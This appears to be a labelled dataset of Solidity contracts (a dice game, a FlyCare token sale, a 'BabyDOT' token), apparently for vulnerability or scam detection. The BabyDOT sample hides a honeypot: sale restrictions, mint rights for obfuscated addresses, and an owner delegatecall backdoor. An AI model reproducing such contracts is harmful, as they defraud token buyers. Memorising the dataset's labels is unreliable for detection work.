return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.19;
contract EtherHiLo is usingOraclize, Ownable {
uint8 constant NUM_DICE_SIDES = 13;
uint8 constant FAILED_ROLE = 69;
uint public rngCallbackGas;
uint public minBet;
uint public maxBetThresholdPct;
bool public gameRunning;
uint public balanceInPlay;
mapping(address => Game) private gamesInProgress;
mapping(bytes32 => address) private rollIdToGameAddress;
mapping(bytes32 => uint) private failedRolls;
event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint8 firstRoll, uint8 finalRoll, uint winnings, uint payout);
event GameError(address indexed player, uint indexed playerGameNumber, bytes32 rollId);
enum BetDirection {
None,
Low,
High
}
enum GameState {
None,
WaitingForFirstCard,
WaitingForDirection,
WaitingForFinalCard,
Finished
}
struct Game {
address player;
GameState state;
uint id;
BetDirection direction;
uint bet;
uint8 firstRoll;
uint8 finalRoll;
uint winnings;
}
function EtherHiLo() public {
oraclize_setProof(proofType_Ledger);
setRNGCallbackGasConfig(1500000, 10000000000);
setMinBet(100 finney);
setGameRunning(true);
setMaxBetThresholdPct(75);
}
function() external payable {
}
function beginGame() public payable {
address player = msg.sender;
uint bet = msg.value;
require(player != address(0));
require(gamesInProgress[player].state == GameState.None || gamesInProgress[player].state == GameState.Finished);
require(gameRunning);
require(bet >= minBet && bet <= getMaxBet());
Game memory game = Game({
id: uint(keccak256(block.number, player, bet)),
player: player,
state: GameState.WaitingForFirstCard,
bet: bet,
firstRoll: 0,
finalRoll: 0,
winnings: 0,
direction: BetDirection.None
});
if (!rollDie(player)) {
player.transfer(msg.value);
return;
}
balanceInPlay = balanceInPlay + game.bet;
gamesInProgress[player] = game;
}
function finishGame(BetDirection direction) public {
address player = msg.sender;
require(player != address(0));
require(gamesInProgress[player].state != GameState.None && gamesInProgress[player].state != GameState.Finished);
if (!rollDie(player)) {
return;
}
Game storage game = gamesInProgress[player];
game.direction = direction;
game.state = GameState.WaitingForFinalCard;
gamesInProgress[player] = game;
}
function getGameState(address player) public view returns
(GameState, uint, BetDirection, uint, uint8, uint8, uint) {
return (
gamesInProgress[player].state,
gamesInProgress[player].id,
gamesInProgress[player].direction,
gamesInProgress[player].bet,
gamesInProgress[player].firstRoll,
gamesInProgress[player].finalRoll,
gamesInProgress[player].winnings
);
}
function getMinBet() public view returns (uint) {
return minBet;
}
function getMaxBet() public view returns (uint) {
return SafeMath.div(SafeMath.div(SafeMath.mul(this.balance - balanceInPlay, maxBetThresholdPct), 100), 12);
}
function calculateWinnings(uint bet, uint percent) public pure returns (uint) {
return SafeMath.div(SafeMath.mul(bet, percent), 100);
}
function getLowWinPercent(uint number) public pure returns (uint) {
require(number >= 2 && number <= NUM_DICE_SIDES);
if (number == 2) {
return 1200;
} else if (number == 3) {
return 500;
} else if (number == 4) {
return 300;
} else if (number == 5) {
return 300;
} else if (number == 6) {
return 200;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 150;
} else if (number == 9) {
return 140;
} else if (number == 10) {
return 130;
} else if (number == 11) {
return 120;
} else if (number == 12) {
return 110;
} else if (number == 13) {
return 100;
}
}
function getHighWinPercent(uint number) public pure returns (uint) {
require(number >= 1 && number < NUM_DICE_SIDES);
if (number == 1) {
return 100;
} else if (number == 2) {
return 110;
} else if (number == 3) {
return 120;
} else if (number == 4) {
return 130;
} else if (number == 5) {
return 140;
} else if (number == 6) {
return 150;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 200;
} else if (number == 9) {
return 300;
} else if (number == 10) {
return 300;
} else if (number == 11) {
return 500;
} else if (number == 12) {
return 1200;
}
}
function processDiceRoll(address player, uint8 roll) private {
Game storage game = gamesInProgress[player];
if (game.firstRoll == 0) {
game.firstRoll = roll;
game.state = GameState.WaitingForDirection;
gamesInProgress[player] = game;
return;
}
uint8 finalRoll = roll;
uint winnings = 0;
if (game.direction == BetDirection.High && finalRoll > game.firstRoll) {
winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll));
} else if (game.direction == BetDirection.Low && finalRoll < game.firstRoll) {
winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll));
}
uint transferAmount = winnings;
if (transferAmount > this.balance) {
if (game.bet < this.balance) {
transferAmount = game.bet;
} else {
transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
}
}
balanceInPlay = balanceInPlay - game.bet;
if (transferAmount > 0) {
game.player.transfer(transferAmount);
}
game.finalRoll = finalRoll;
game.winnings = winnings;
game.state = GameState.Finished;
gamesInProgress[player] = game;
GameFinished(player, game.id, game.bet, game.firstRoll, finalRoll, winnings, transferAmount);
}
function rollDie(address player) private returns (bool) {
bytes32 rollId = oraclize_newRandomDSQuery(0, 7, rngCallbackGas);
if (failedRolls[rollId] == FAILED_ROLE) {
delete failedRolls[rollId];
return false;
}
rollIdToGameAddress[rollId] = player;
return true;
}
function __callback(bytes32 rollId, string _result, bytes _proof) public {
require(msg.sender == oraclize_cbAddress());
address player = rollIdToGameAddress[rollId];
if (player == address(0)) {
failedRolls[rollId] = FAILED_ROLE;
return;
}
if (oraclize_randomDS_proofVerify__returnCode(rollId, _result, _proof) != 0) {
Game storage game = gamesInProgress[player];
if (game.bet > 0) {
game.player.transfer(game.bet);
}
delete gamesInProgress[player];
delete rollIdToGameAddress[rollId];
delete failedRolls[rollId];
GameError(player, game.id, rollId);
} else {
uint8 randomNumber = uint8((uint(keccak256(_result)) % NUM_DICE_SIDES) + 1);
processDiceRoll(player, randomNumber);
delete rollIdToGameAddress[rollId];
}
}
function transferBalance(address to, uint amount) public onlyOwner {
to.transfer(amount);
}
function cleanupAbandonedGame(address player) public onlyOwner {
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.player.transfer(game.bet);
delete gamesInProgress[game.player];
}
function setRNGCallbackGasConfig(uint gas, uint price) public onlyOwner {
rngCallbackGas = gas;
oraclize_setCustomGasPrice(price);
}
function setMinBet(uint bet) public onlyOwner {
minBet = bet;
}
function setGameRunning(bool v) public onlyOwner {
gameRunning = v;
}
function setMaxBetThresholdPct(uint v) public onlyOwner {
maxBetThresholdPct = v;
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
| 1 | 3,197 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FlyCareToken is MintableToken, PausableToken, BurnableToken {
string public constant name = "flyCARE Token";
string public constant symbol = "FCC";
uint8 public constant decimals = 18;
function FlyCareToken() public {
pause();
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TokenCappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public tokenSold;
uint256 public tokenPresaleCap;
uint256 public tokenPresaleSold;
uint256 public saleStartTime;
uint256 public totalTokenSaleCap;
function TokenCappedCrowdsale(uint256 _tokenPresaleCap, uint256 _totalTokenSaleCap, uint256 _saleStartTime) public {
require(_tokenPresaleCap > 0);
require(_totalTokenSaleCap > 0);
tokenPresaleCap = _tokenPresaleCap;
saleStartTime = _saleStartTime;
totalTokenSaleCap = _totalTokenSaleCap;
}
function tokenCapReached() public view returns (bool) {
return tokenSold >= totalTokenSaleCap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokenAmount = _getTokenAmount(_weiAmount);
if (block.timestamp < saleStartTime) {
require(tokenPresaleSold.add(tokenAmount) <= tokenPresaleCap);
} else {
require(tokenSold.add(tokenAmount) <= totalTokenSaleCap);
}
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
tokenSold = tokenSold.add(_tokenAmount);
if (block.timestamp < saleStartTime) {
tokenPresaleSold = tokenPresaleSold.add(_tokenAmount);
}
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FlyCareTokenSale is RefundableCrowdsale, WhitelistedCrowdsale, TokenCappedCrowdsale, MintedCrowdsale, Pausable {
using SafeMath for uint256;
uint256 constant public RESERVE_AMOUNT = 70000000 * 10**18;
uint256 constant public MIN_INVESTMENT = 0.1 * 10**18;
uint64[5] private salePeriods;
address public whitelister;
event AddToWhitelist(address _beneficiary);
function FlyCareTokenSale (
address _whitelister,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _goal,
uint256 _presaleCap,
uint256 _totalTokenSaleCap,
address _wallet,
uint64[5] _salePeriods
) public
Crowdsale(_rate, _wallet, new FlyCareToken())
TokenCappedCrowdsale(_presaleCap, _totalTokenSaleCap, _salePeriods[2])
TimedCrowdsale(_startTime, _endTime)
RefundableCrowdsale(_goal)
{
require(_goal.mul(_rate) <= _totalTokenSaleCap);
require(_whitelister != address(0));
for (uint8 i = 0; i < _salePeriods.length; i++) {
require(_salePeriods[i] > 0);
}
salePeriods = _salePeriods;
whitelister = _whitelister;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(!paused);
require(_weiAmount >= MIN_INVESTMENT);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function getCurrentRate() public view returns (uint256) {
uint256 time = now;
if (time <= salePeriods[0]) {
return 4031;
}
if (time <= salePeriods[1]) {
return 3794;
}
if (time <= salePeriods[2]) {
return 3583;
}
if (time <= salePeriods[3]) {
return 3395;
}
if (time <= salePeriods[4]) {
return 3225;
}
return rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
function hasClosed() public view returns (bool) {
return tokenCapReached() || super.hasClosed();
}
function setWhitelisterAddress(address _whitelister) external onlyOwner {
require(_whitelister != address(0));
whitelister = _whitelister;
}
modifier onlyWhitelister(){
require(msg.sender == whitelister);
_;
}
function addToWhitelist(address _beneficiary) external onlyWhitelister {
whitelist[_beneficiary] = true;
AddToWhitelist(_beneficiary);
}
function addManyToWhitelist(address[] _beneficiaries) external onlyWhitelister {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
AddToWhitelist(_beneficiaries[i]);
}
}
function removeFromWhitelist(address _beneficiary) external onlyWhitelister {
whitelist[_beneficiary] = false;
}
function finalization() internal {
if (goalReached()) {
if (!tokenCapReached()) {
uint256 tokenUnsold = totalTokenSaleCap.sub(tokenSold);
_deliverTokens(this, tokenUnsold);
FlyCareToken(token).burn(tokenUnsold);
}
_deliverTokens(wallet, RESERVE_AMOUNT);
require(FlyCareToken(token).finishMinting());
FlyCareToken(token).unpause();
}
super.finalization();
}
}
| 0 | 38 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyDOT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,602 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
